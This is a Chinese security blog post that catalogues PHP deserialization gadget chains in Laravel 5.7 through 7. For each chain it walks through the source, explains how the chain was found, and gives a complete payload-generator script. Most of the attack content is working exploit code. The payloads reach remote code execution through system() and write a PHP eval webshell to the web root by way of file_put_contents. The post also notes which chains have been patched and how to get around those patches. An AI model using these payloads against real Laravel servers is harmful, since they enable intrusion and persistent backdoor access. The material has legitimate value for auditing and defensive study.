Diggid's Blog

Laravel 5.7-7 反序列化系列漏洞汇总

字数统计: 7.4k阅读时长: 34 min
2021/04/20 Share

前言

在早些的时候就接触了Laravel的反序列化,但也都只是零零碎碎的跟了一些版本的链子,没有主动去尝试挖掘一下可能还有的链子(虽然概率不大),这次把Laravel全系列的反序列化漏洞总结一下。总结的目的是为了熟悉,提炼思路,但实际上还是需要自己动手挖一挖,如果实在挖不出来了,再参考一下其他相关文章,这样才能提高审计能力。

环境搭建

用composer搭建,以搭建Lavarel 5.8.x为例,一般情况下默认组件即可,需要添加其他组件的洞在后面会说明

1
2
3
4
更新源为阿里云
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
安装Lavarel 5.8.x
composer create-project --prefer-dist laravel/laravel laravel58x "5.8.*"

安装好后在 routes\web.php 添加路由

1
Route::get('/index', "IndexController@index");

如果在phpstorm中有Undefined class Route的warning,解决办法可以参考Undefined class Route (Laravel in PhpStorm)

在app\Http\Controllers 目录下添加 IndexController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class IndexController extends Controller
{
public function index(Request $request)
{
if ($request->query("payload")) {
unserialize($request->query("payload"));
} else {
highlight_file(__FILE__);
return "Laravel version: " . app()::VERSION;
}
}
}

直接启动服务或者把项目目录放在集成好的php环境下。访问http://localhost:8000/index

1
php artisan serve --host=0.0.0.0

Laravel 5.7-5.8 pop链

前几天做一道很老的题 [CISCN2019 总决赛 Day1 Web4]Laravel1,很多pop链在题目的环境中被删除了,因此自己尝试挖掘了一下,这道题有两个链,一个是官方RCE的链,一个是include任意文件包含(读)的链,感兴趣的师傅可以去挖挖看。

影响版本:

  • 5.7.x

  • 5.8.x

测试页面

由于5.8.x版本没有直接的反序列化unserialize入口,因此我们准备一个测试页面提供一个反序列化的入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class IndexController extends Controller
{
public function index(Request $request)
{
if ($request->query("payload")) {
unserialize($request->query("payload"));
} else {
highlight_file(__FILE__);
return "Laravel version: " . app()::VERSION;
}
}
}

pop1*

*号的表示部分修复,直接打打不通,需要改变某些修复条件。

1
2
3
\Illuminate\Broadcasting\PendingBroadcast::__destruct
\Faker\Generator::__call
\Faker\Generator::format -> call_user_func_array

第一个链子很简单,但是我们还是需要理一下这条链是如何找出来的。首先还是__destruct起手,全局搜一下,首先发现一个比较好的中间链\Illuminate\Broadcasting\PendingBroadcast::__destruct

image-20210420193037495

类似$this->xxx->dispatch($this->xxx)的形式是比较好的,因为我们可以控制下一步调用任意类的dispatch方法(有参数限制),并且参数是可控的。于是我们全局搜一下dispatch方法,一开始没有发现很好用的。这时可能我们会放弃这个__destruct从而寻找其他的,但是,先别着急。我们可以尝试找一下__call等魔术方法来当跳板,全局搜一下__call,发现\Faker\Generator::__call

image-20210420193518607

跟进去看一下,直接就是一个call_user_func_array,这里已知$arguments $formatter参数可控,跟进$this->getFormatter看一下,直接可以返回$this->formatters[$formatter]的内容,因此这里的两个参数我们都是可控的,就可以直接RCE了

image-20210420193607701

payload1:RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
namespace Faker{
class Generator
{
protected $formatters = array('dispatch'=>'system');
}
}

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace{
use Illuminate\Broadcasting\PendingBroadcast;
use Faker\Generator;
$b = new Generator();
$a = new PendingBroadcast($b, "calc");
echo urlencode(serialize($a));
}

如果是直接拿生成的payload去打的话,会发现执行不了,原因是如果拉的是最新版的5.8.x,那么是添加过补丁了的,具体如下

image-20210420202111528

这里的$this->formatters被写为空了,因此无法利用,如果能注释掉就可以弹出计算机了。

上面这个链子是直接RCE的链,我们还可以想一下如果命令执行函数被禁用的情况下,尝试其他的利用方法。有以下几种选择:

  • 调用任意类的任意方法,且可控该方法的一个参数(该参数是数组类型)

  • 调用任意单参数的方法,如include(任意文件读)

对于第一种选择,又可以进一步拓宽我们的pop链,可以挖掘的选择有很多,这里我们尝试全局搜索一下call_user_funccall_user_func_array在哪里使用了,这样我们可以通过调用任意类的任意方法到达这里。举个例子,可以使用\PhpOption\LazyOption::option方法,该方法中存在call_user_func_array($this->callback, $this->arguments);image-20210420204757078

由于option是private方法,如果要给其他类调用的话,显然是要包装在其他该类的非private方法中,比如以下几个任选,

image-20210424093758503

正好满足要求。上面就是通过call_user_func_array进一步拓展利用链,如果该某一个类中过滤死了一些危险函数,我们便可以尝试寻找任意类的任意方法中包含call_user_func_array且参数可控,来进一步利用。这里可以来写个shell,但是有一个需要注意的地方,为什么第一次的call_user_func_array不能直接写shell,因为它的参数$arguments是个二维数组,也就是说如果我们调用的参数是一个数组,那么传入__call里面的参数则是一个二维数组,因此我们利用call_user_func_array来调用任意类的任意方法时,传入这个任意方法的就是一个一维数组,然后在该方法中调用第二次的call_user_func_array,参数正好为一维数组就可以对应file_put_contents的参数来写shell。

payload2:webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

namespace Faker{
class Generator
{
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
private $option;

public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}

}
}


namespace{
$c = new PhpOption\LazyOption('file_put_contents', array('/var/www/html/shell.php', '<?php eval($_REQUEST[diggid]);?>'), null);
$b = new Faker\Generator(array('dispatch'=> array($c, "filter")));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
echo urlencode(serialize($a));
}

pop2

1
2
3
\Illuminate\Broadcasting\PendingBroadcast::__destruct
\Illuminate\Validation\Validator::__call
\Illuminate\Validation\Validator::callExtension -> call_user_func_array

image-20210420214101879

这个链子也很简单,还是找__call,找到的是\Illuminate\Validation\Validator类的,跟进callExtension里,发现一如既往的调用了call_user_func_array,并且这里的参数分析一下是完全可控的,因为__call的参数$method为固定值dispatch,处理之后的$rule为固定值""

image-20210420225026586

因此两个参数都是完全可控的了。

payload1:RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{
public $extensions;
public function __construct($a){
$this->extensions = $a;
}
}
}

namespace{
use Illuminate\Broadcasting\PendingBroadcast;
use Illuminate\Validation\Validator;
$b = new Validator(array("" => "system"));
$a = new PendingBroadcast($b, "calc");
echo urlencode(serialize($a));
}

payload2:webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{
public $extensions;
public function __construct($a){
$this->extensions = $a;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
private $option;

public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}

}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
use Illuminate\Validation\Validator;
use PhpOption\LazyOption;
$c = new LazyOption('file_put_contents', array('.\shell.php', '<?php eval($_REQUEST[diggid]);?>'), null);
/* $c = new PhpOption\LazyOption('file_put_contents', array('/var/www/html/shell.php', '<?php eval($_REQUEST[diggid]);?>'), null);*/
$b = new Validator(array(''=>array($c, 'filter')));
$a = new PendingBroadcast($b, "");
echo urlencode(serialize($a));
}

pop3

1
2
\Illuminate\Bus\Dispatcher::dispatch
\Illuminate\Bus\Dispatcher::dispatchToQueue

image-20210421001745376

这个链极其简单,是直接__destruct然后顺着找的,没有借助__call等跳板,全部参数都是可控的,对应参数细节跟一下就知道了

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct($a){
$this->queueResolver = $a;
}
}
}

namespace Illuminate\Events{
class CallQueuedListener{
public $connection;
public function __construct($a){
$this->connection = $a;
}
}
}

namespace {
$a = new Illuminate\Events\CallQueuedListener("calc");
$b = new Illuminate\Bus\Dispatcher("system");
$c = new Illuminate\Broadcasting\PendingBroadcast($b, $a);
echo urlencode(serialize($c));
}

pop4(特别)

这个链子在 [CISCN2019 总决赛 Day1 Web4]Laravel1 出现了

1
2
3
4
5
6
\Symfony\Component\Cache\Adapter\TagAwareAdapter::__destruct
\Symfony\Component\Cache\Adapter\TagAwareAdapter::commit
\Symfony\Component\Cache\Adapter\TagAwareAdapter::invalidateTags
\Symfony\Component\Cache\Adapter\ProxyAdapter::saveDeferred
\Symfony\Component\Cache\Adapter\ProxyAdapter::doSave
-> ($this->setInnerItem)($innerItem, $item);

image-20210420233916068

必要组件:symfony/symfony

1
composer require Symfony/symfony

这个链子换了一个__destruct,发现了$this->commit的链,继续跟进,发现了前面说的$this->xxx->saveDeferred($item)的调用形式,全局找一下saveDeferred,然后发现了ProxyAdapter的一条链可以到($this->setInnerItem)($innerItem, $item),显然这里存在任意函数执行,接下来我们分析一下到达这里的条件和这几个参数是否可控。

1
2
3
$this->setInnerItem
$innerItem = $item["\0*\0innerItem"] = $this->deferred["\0*\0innerItem"]
CacheItemInterface $item

从上面的关系可以回溯出变量的值,因此我们可以知道这里的参数是完全可控的,注意这里一个比较有意思的地方,当对一个对象进行(array)$obj的强制类型转换时,会把对象变成一个数组,属性和值变为键值对

  • public 修饰:不变

  • protected 修饰:\0*\0name

  • private 修饰:\0Illuminate\Validation\Validator\0extensions,即\0namespace\0name

这和序列化时表示的属性是一样的。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
namespace SymfonyComponentCacheAdapter{
class TagAwareAdapter{
private $deferred;
private $pool;
function __construct($deferred, $pool){
$this->deferred = $deferred;
$this->pool = $pool;
}

}
class ProxyAdapter{
private $setInnerItem;
private $poolHash;
function __construct($setInnerItem, $poolHash){
$this->setInnerItem = $setInnerItem;
$this->poolHash = $poolHash;
}
}
}

namespace SymfonyComponentCache{
final class CacheItem{
protected $expiry;
protected $poolHash;
protected $innerItem;

function __construct($expiry, $poolHash, $innerItem){
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $innerItem;
}
}
}

namespace{
$b = new SymfonyComponentCacheAdapterProxyAdapter('system', 1);
$d = new SymfonyComponentCacheCacheItem(1, 1, "calc");
$a = new SymfonyComponentCacheAdapterTagAwareAdapter(array($d),$b);
echo urlencode(serialize($a));
}

pop5

这个链相较于前面几个链来说,比较有意思,而且相较前面几个链子涉及比较多关于Lavarel IOC特性以及核心对象Container的一些知识

1
2
3
4
\Illuminate\Foundation\Testing\PendingCommand::__destruct
\Illuminate\Foundation\Testing\PendingCommand::run
Illuminate\Foundation\Application::call
\Illuminate\Container\BoundMethod::call -> call_user_func_array

image-20210421172745993

起点还是__destruct,但是这次找的是Laravel5.7新增一个类PendingCommand的,跟进可以看到调用了$this->run(),继续跟进看一下

image-20210421163625530

注意到后面调用了一个call方法,这个call方法一般来说跟函数调用有一些关系,全局搜一下,可以发现Container类有该方法

image-20210421163759326

继续跟进,发现了call_user_func

image-20210421163927999

但是这里参数比较复杂,而且这个call_user_func_array是写在闭包里面的,跟进callBoundMethod可以知道,如果$callback是可调用函数的话,就会执行闭包函数的内容,所以这里的call_user_func_array显然是可以执行的。

image-20210421164111303

接下来我们考虑参数是否可控,回溯一下$callback变量:

1
$callback -> $callback -> $this->command

这里的$this->command是PendingCommand类的,完全可控,跟进getMethodDependencies看一下第二个参数是否可控

image-20210421164856228

这里返回的值是$parameters和默认为空的数组merge合并的值,在回溯一下$parameters也是完全可控的,因此,这里的条件都完美满足。接下来就是考虑怎么样才能让程序执行到这里,先考虑一下一开始的$this->mockConsoleOutput(),该函数有几个变量需要赋值,否则会报错,这里判断的方法可以先不赋值,然后看哪个变量没有值会报错导致无法执行,这样再把值给添加上去,一次一次试探即可。

image-20210421163038313

注意这里还会进入$this->createABufferedOutputMock(),而顺利通过该函数的要求是$this->test->expectedOutput是一个数组,因此我们可以全局寻找看一下哪个类有expectedOutput属性。这里找到了Tests\Unit\ExampleTest类。假设没有合适的类,这时我们可以考虑找__get方法来返回任意属性。比如:

image-20210421172122012

回到mockConsoleOutput(),最后的$this->app根据注释我们可以知道,并且根据Laravel中Container类的架构,这里$this->app的值可以赋值为\Illuminate\Contracts\Foundation\Application对象,这样就可以过第一个$this->mockConsoleOutput()

接下来Kernel::class返回的就是Kernel类的名称

image-20210421170003410

而由于$this->app是Application对象,而其继承Container类,在Container类中,在该类中,存在resolve方法,该方法用来创建 bind 的类型,并且存在以下包装方法和别名:

  • public function get($id)

  • public function make($abstract, array $parameters = [])

  • public function makeWith($abstract, array $parameters = [])

  • public function offsetGet($key) 数组的形式访问的支持

上面四个方法底层还是会调用resolve方法,注意到最后一种形式,支持数组的形式访问,什么意思呢,就是

1
2
$container = \Illuminate\Container\Container::getInstance();
$container['name']; //等同于执行public function offsetGet('name');

所以这里$this->app[Kernel::class]的加载形式我们就可以理解了,要想执行到Container或Application类的call方法,那么我们这里$this->app[Kernel::class]的返回值必须要可控为任意对象。跟进看一下,一直跟到resolve方法里

image-20210421171542069

如果存在$this->instances[$abstract]并且$needsContextualBuild为false的时候,而这里$needsContextualBuild不添加任何条件就可以为false,至此,我们就可以返回任意对象了。至此,整个链也就分析完毕了。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $hasExecuted = false;
protected $parameters = array("calc");
protected $command = "system";
public $test;
protected $app;
public function __construct($a, $b)
{
$this->test = $a;
$this->app = $b;
}
}
}
namespace Tests\Unit{
class ExampleTest{
public $expectedOutput = array("diggid"=>"diggid");
}
}

namespace Illuminate\Foundation{
class Application{
protected $instances;
public function __construct($a)
{
if($a != null) {
$this->instances = array("Illuminate\Contracts\Console\Kernel" => $a);
}
}
}
}

namespace {
$d = new Illuminate\Foundation\Application(null);
$c = new Illuminate\Foundation\Application($d);
$b = new Tests\Unit\ExampleTest;
$a = new Illuminate\Foundation\Testing\PendingCommand($b,$c);
echo urlencode(serialize($a));
}

Laravel 7 pop链

默认环境搭建使用

1
composer create-project laravel/laravel laravel7 "7.12.*"

从Laravel5.8版本的几个入手点看看,有哪些修复和改变,测试页面和5.8是一样的,需要手动构造一个反序列化的入口

部分修复

pop1

针对pop1这条链,还是原来的那个修复,并无其他改变

image-20210422111632669

pop4

还是利用__wakeup方法来阻止某些类的反序列化或者置空类属性

image-20210422114856190

复用链

上面是已修复的几个链子,但是以下几个链仍然可以打通

  • pop2:直接可以打通

  • pop3:直接可以打通

  • pop5:可以打通,但需要改变一些条件,增加条件后,pop链仍可利用

pop1

这个pop1就是5.8的pop5,整个调用链不变,但是由于代码的一些修改,需要增加一些利用条件来绕过。

调用链中的PendingCommand类有的namespace改为了Illuminate\Testing,整个流程不变,最后触发点有一些变化

1
2
3
4
\Illuminate\Testing\PendingCommand::__destruct
\Illuminate\Foundation\Testing\PendingCommand::run
Illuminate\Foundation\Application::call
\Illuminate\Container\BoundMethod::call -> ($callback)()

我们知道前面5.8的pop5最麻烦的地方就是要理清各个变量的值使得代码能够顺利的走到call_user_func_array处,而版本7的这个链子,需要更多的变量条件。下面继续来分析一下

1.首先还是要过mockConsoleOutput

先看$this->createABufferedOutputMock(),diff一下源代码可以发现

image-20210422140548615

多了一个$this->applyTableOutputExpectations($mock);这里就不详细分析了,跟一下代码就可以发现,需要以下条件

1
2
3
4
5
6
7
8
public $expectedTables = array(
array(
"columnStyles" => array("default"),
"headers" => array("diggid"),
"rows" => array(array("diggid")),
"tableStyle" => "default"
),
);

过了之后,和之前一样的,需要public $expectedOutput = array("diggid"=>"diggid");

然后可以过createABufferedOutputMock了。回到mockConsoleOutput,和5.8不同的是,这里的expectedQuestions默认不存在,因此我们要赋值一下,public $expectedQuestions = array();。这样,整个mockConsoleOutput就可以过了。

2.一直进入到getMethodDependencies

前面知道,这个方法调用完后会返回merge后的$parameters,但如果不作任何处理的话,会抛异常,原因出在static::addDependencyForCallParameter,跟进看一下

image-20210422141432724

可以看到,如果$b为false的话,调式一下可以发现,会直接到最后一个elseif的分支,然后异常,因此我们要进入第一个if的分支,因此这里要满足

1
2
3
$a = $paramName = $parameter->getName();
$b = array_key_exists($a, $parameters);
$b == true

而调式发现这里的$a会返回固定值command,因此我们的$parameters要这样设才能使$b为true

1
protected $parameters = array("command"=>"calc");

至此,就可以触发rce了

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace Illuminate\Testing{
class PendingCommand{
protected $hasExecuted = false;
protected $parameters = array("command"=>"calc");
protected $command = "system";
public $test;
protected $app;
public function __construct($a, $b)
{
$this->test = $a;
$this->app = $b;
}
}
}
namespace Tests\Unit{
class ExampleTest{
public $expectedOutput = array("diggid"=>"diggid");
public $expectedTables = array(
array(
"columnStyles" => array("default"),
"headers" => array("diggid"),
"rows" => array(array("diggid")),
"tableStyle" => "default"
),
);
public $expectedQuestions = array();
}
}

namespace Illuminate\Foundation{
class Application{
protected $instances;
public function __construct($a)
{
if($a != null) {
$this->instances = array("Illuminate\Contracts\Console\Kernel" => $a);
}
}
}
}

namespace {
$d = new Illuminate\Foundation\Application(null);
$c = new Illuminate\Foundation\Application($d);
$b = new Tests\Unit\ExampleTest;
$a = new Illuminate\Testing\PendingCommand($b,$c);
echo urlencode(serialize($a));
}

pop2

1.RCE

1
2
3
4
5
\Illuminate\Broadcasting\PendingBroadcast::__destruct
\Illuminate\Support\Manager::__call
\Illuminate\Support\Manager::driver
\Illuminate\Support\Manager::createDriver
\Illuminate\Support\Manager::callCustomCreator

针对5.8的pop1,我们知道开始切入点并没有任何修复,因此继续从这开始找,直接全局找__call,找好用的__call方法的有几个思路

  • __call方法中,不调用原来的$method而换成其他我们可控的method,那么可能就存在调用任意类的方法,这时候就可以接着利用\PhpOption\LazyOption这个类来进一步rce或写shell。

  • __call方法中,有以下形式

1
2
$this->xxx()->{$method}(...$args);
$this->mock->{$this->method}(...);

这样我们跟进xxx方法,可能会拓宽链子,并且跟__call传进来的$method没有关系,这样就减少了一个不可控的变量。针对上面两种思路,这条链就是采取的第二种方法,找到了\Illuminate\Support\Manager::__callManager是一个接口,找其实现类

image-20210422151204231

写payload的时候选一个即可。继续回到__call方法,跟进driver()

image-20210422153602333

跟进后可以发现$driver的值由protected $defaultChannel决定,因此可控,可以进入该分支,继续跟进createDriver

image-20210422151419359

同样的,再跟进callCustomCreator

image-20210422151442400

这不搞他?全部完全可控,直接写payload完事

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop3-rce.php
# @author: diggid
*/

namespace Illuminate\Notifications{
//use Illuminate\Support\Manager;
class ChannelManager{
protected $customCreators = array("diggid" => "system");
protected $container = "calc";
protected $drivers = array(); //should not have key "diggid"
protected $defaultChannel = "diggid";
}
}

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace {
$b = new Illuminate\Notifications\ChannelManager;
$a = new Illuminate\Broadcasting\PendingBroadcast($b, "diggid");
echo urlencode(serialize($a));
}

2.写webshell

1
2
3
4
5
6
\Illuminate\Broadcasting\PendingBroadcast::__destruct
\Illuminate\Support\Manager::__call
\Illuminate\Support\Manager::driver
\Illuminate\Support\Manager::createDriver
\Illuminate\Support\Manager::callCustomCreator
\Illuminate\Auth\RequestGuard::user

看到可以完全控制任意方法和该方法的参数的时候,思维可以整花一点,上面调用system('calc')是执行的单参数函数,但是不能调用file_put_contents来写shell,这里我们再尝试拓宽一下链子:

1
2
call_user_func([$obj, "method"])
call_user_func_array也行

也就是传入数组形式的第一个参数,相当于调用$obj->method(),也就是调用了一个任意类的无参数方法,那么又进一步拓宽了利用链,这里如何找到合适的方法,这里有两种思路:

  • 利用已知好用的无参数链,拼接起来。

  • 直接全局搜call_user_func,看哪个无参函数调用了

对于第一种思路:

别忘了我们之前的LazyOption这个类的option()方法,调用LazyOption类的无参get方法即可到达option

对于第二种思路:

@Ricky师傅找到了一个比较好用的方法,在\Illuminate\Auth\RequestGuard::user

image-20210422160510271

非常完美的call_user_func,且参数均可控,那么直接可以写shell了

payload:webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop2-webshell.php
# @author: diggid
*/
namespace Illuminate\Notifications{
//use Illuminate\Support\Manager;
class ChannelManager{
protected $customCreators;
protected $drivers = array(); //should not have key "diggid"
protected $defaultChannel = "diggid";
public function __construct($a)
{
$this->customCreators = array("diggid" => "call_user_func");
$this->container = array($a, "user");
}
}
}

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Illuminate\Auth{
class RequestGuard{
protected $user = null;
protected $callback = "file_put_contents";
protected $request = "./shell.php";
//protected $request = "/var/www/html/shell.php";
protected $provider = '<?php @eval($_REQUEST[diggid]);?>';
}
}
namespace {
$c = new Illuminate\Auth\RequestGuard;
$b = new Illuminate\Notifications\ChannelManager($c);
$a = new Illuminate\Broadcasting\PendingBroadcast($b, "diggid");
echo urlencode(serialize($a));
}

image-20210422162348169

pop3

思路类似pop2,找了另一个HigherOrderMessage类的__call方法配合入口类PendingBroadcast的变种,最后用LazyOption来RCE

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop3-rce.php
# @author: diggid
*/
namespace Mockery {
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($a, $b)
{
$this->mock = $a;
$this->method = $b;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
private $option;

public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}

}
}
namespace {
$a = new PhpOption\LazyOption("system", array("calc"), null);
$b = new Mockery\HigherOrderMessage($a, "filter");
$c = new Illuminate\Broadcasting\PendingBroadcast($b, "diggid");
echo urlencode(serialize($c));
}

pop4

前面的链子大部分都是以PendingBroadcast为起手类,然后调用__call作为跳板,如果能直接控制适当参数配合call_user_funccall_user_func_array方法的话,就直接RCE,如果是形如call_user_func($this->xxx)的单参数限制的话,就找终点类LazyOption::option方法或者RequestGuard::user方法。上面把__call的跳板差不多找完了(可能还有漏的,不过思路大概这样),现在我们再找一些起点类的__destruct方法来配合__call,这样组合数能自由搭配的链子就会越来越多。

这里能找到下面这几个好用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
唯一可用:
1.\Illuminate\Routing\PendingResourceRegistration::__destruct
public function __destruct()
{
if (! $this->registered) {
$this->register();
}
}
public function register()
{
$this->registered = true;
// $this->registrar太完美了
return $this->registrar->register(
$this->name, $this->controller, $this->options
);
}
2.\Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator::__destruct
public function __destruct()
{
if (null === $this->prefixes) {
$this->collection->addPrefix($this->route->getPath());
}
if (null !== $this->host) {
$this->addHost($this->collection, $this->host);
}
// 同样完美
$this->parent->addCollection($this->collection);
}
3.\Symfony\Component\Routing\Loader\Configurator\ImportConfigurator::__destruct
public function __destruct()
{
$this->parent->addCollection($this->route);
}

其实不难发现,我们只需要找到前面说到的$this->xxx->xxx()形式的可以了。这样的形式有很多,但是大部分都被__wakeup搅屎了。这里剩下的只有第一个PendingResourceRegistration可以用了。如法炮制,替换掉pop3的入口类PendingBroadcast即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop4-rce.php
# @author: diggid
*/
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registered = false;
protected $registrar;
protected $controller = "diggid";
protected $options = "diggid";
public function __construct($a)
{
$this->registrar = $a;
}
}
}
namespace Mockery {
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($a, $b)
{
$this->mock = $a;
$this->method = $b;
}
}
}

namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
private $option;

public function __construct($callback, $arguments, $option)
{
$this->callback = $callback;
$this->arguments = $arguments;
$this->option = $option;
}
}
}
namespace {
$a = new PhpOption\LazyOption("system", array("calc"), null);
$b = new Mockery\HigherOrderMessage($a, "filter");
$c = new Illuminate\Routing\PendingResourceRegistration($b);
echo urlencode(serialize($c));
}

pop5

对比一下5.8版本和7版本的Validator::callExtension函数

1
2
5.8 => call_user_func_array($callback, $parameters);
7 => $callback(...array_values($parameters))

写法稍微变了一下,但是实际上没啥差别。但是这里要说的是,这样的写法即可当跳板也可直接RCE,因为可以控制大于或等于2个的参数

对于5.8的pop2已经给了一个payload,这里对版本8再给出一个payload(可RCE也可写shell,自由发挥),有两种写法

  • 配合单参数的source类PendingBroadcast时只能当跳板
1
call_user_func(array(xxx,xxx))
  • 配合三参数的source类PendingResourceRegistration时可以RCE或webshell
1
2
$parameters = array(array("x"=>"calc"),array("x"=>"x"),"system");
array_udiff(...array_values($parameters))

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop4-rce.php
# @author: diggid
*/
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registered = false;
protected $registrar;
protected $name = array("diggid"=>"calc");
protected $controller = array("diggid"=>"diggid");
protected $options = "system";
public function __construct($a)
{
$this->registrar = $a;
}
}
}
namespace Illuminate\Validation{
class Validator{
public $extensions;
public function __construct($a)
{
$this->extensions = $a;
}
}
}

namespace {
$b = new Illuminate\Validation\Validator(array(""=>"array_udiff"));
$c = new Illuminate\Routing\PendingResourceRegistration($b);
echo urlencode(serialize($c));
}

总结

这里的pop链按照java反序列化的Source => Intermediate Class => Sink的思路去分析,能比较清晰的能找到链子,抓住敏感的函数和写法,回溯可控参数,设置相应属性使得代码执行到Sink处,重点注意各种写法对于可控参数的影响,思路不局限于RCE,还可以写shell,RCE时不局限于system函数,还可以利用array_udiff等数组类的执行函数,这样就不会局限于参数的限制。

Source

和java反序列化不一样,php反序列化的切入口(source)基本都是固定的__destruct,我们只需要寻找合适的即可,通过上面的挖掘总结出来合适的__destruct的条件有:

  • 所属类没有被__wakeup搅屎

  • 当前方法或跟进一两个方法中存在这几种形式:

1
2
3
$this->xxx->yyy($this->zzz) //常见
$this->xxx->yyy(zzz) //参数不可控,可能有影响,也可能没影响(__call跳板不使用传入的参数)
$this->xxx->{$this->yyy}($this->zzz) //最佳,可以省略找中间类直接到Sink
  • $this->xxx(...)的形式并且能一直跟进到RCE(像5.8版本的pop2没调用中间魔术方法直接RCE的很少)

目前找到比较好用且能用的切入口有(可能会继续补充):

配合 __call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.PendingBroadcast
public function __destruct()
{
$this->events->dispatch($this->event);
}

2.PendingResourceRegistration
public function __destruct()
{
if (! $this->registered) {
$this->register();
}
}
public function register()
{
$this->registered = true;
// $this->registrar太完美了
return $this->registrar->register(
$this->name, $this->controller, $this->options
);
}

直接 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
\Symfony\Component\Cache\Adapter\TagAwareAdapter
public function __destruct()
{
$this->commit();
}

pop chain:
\Symfony\Component\Cache\Adapter\TagAwareAdapter::__destruct
\Symfony\Component\Cache\Adapter\TagAwareAdapter::commit
\Symfony\Component\Cache\Adapter\TagAwareAdapter::invalidateTags
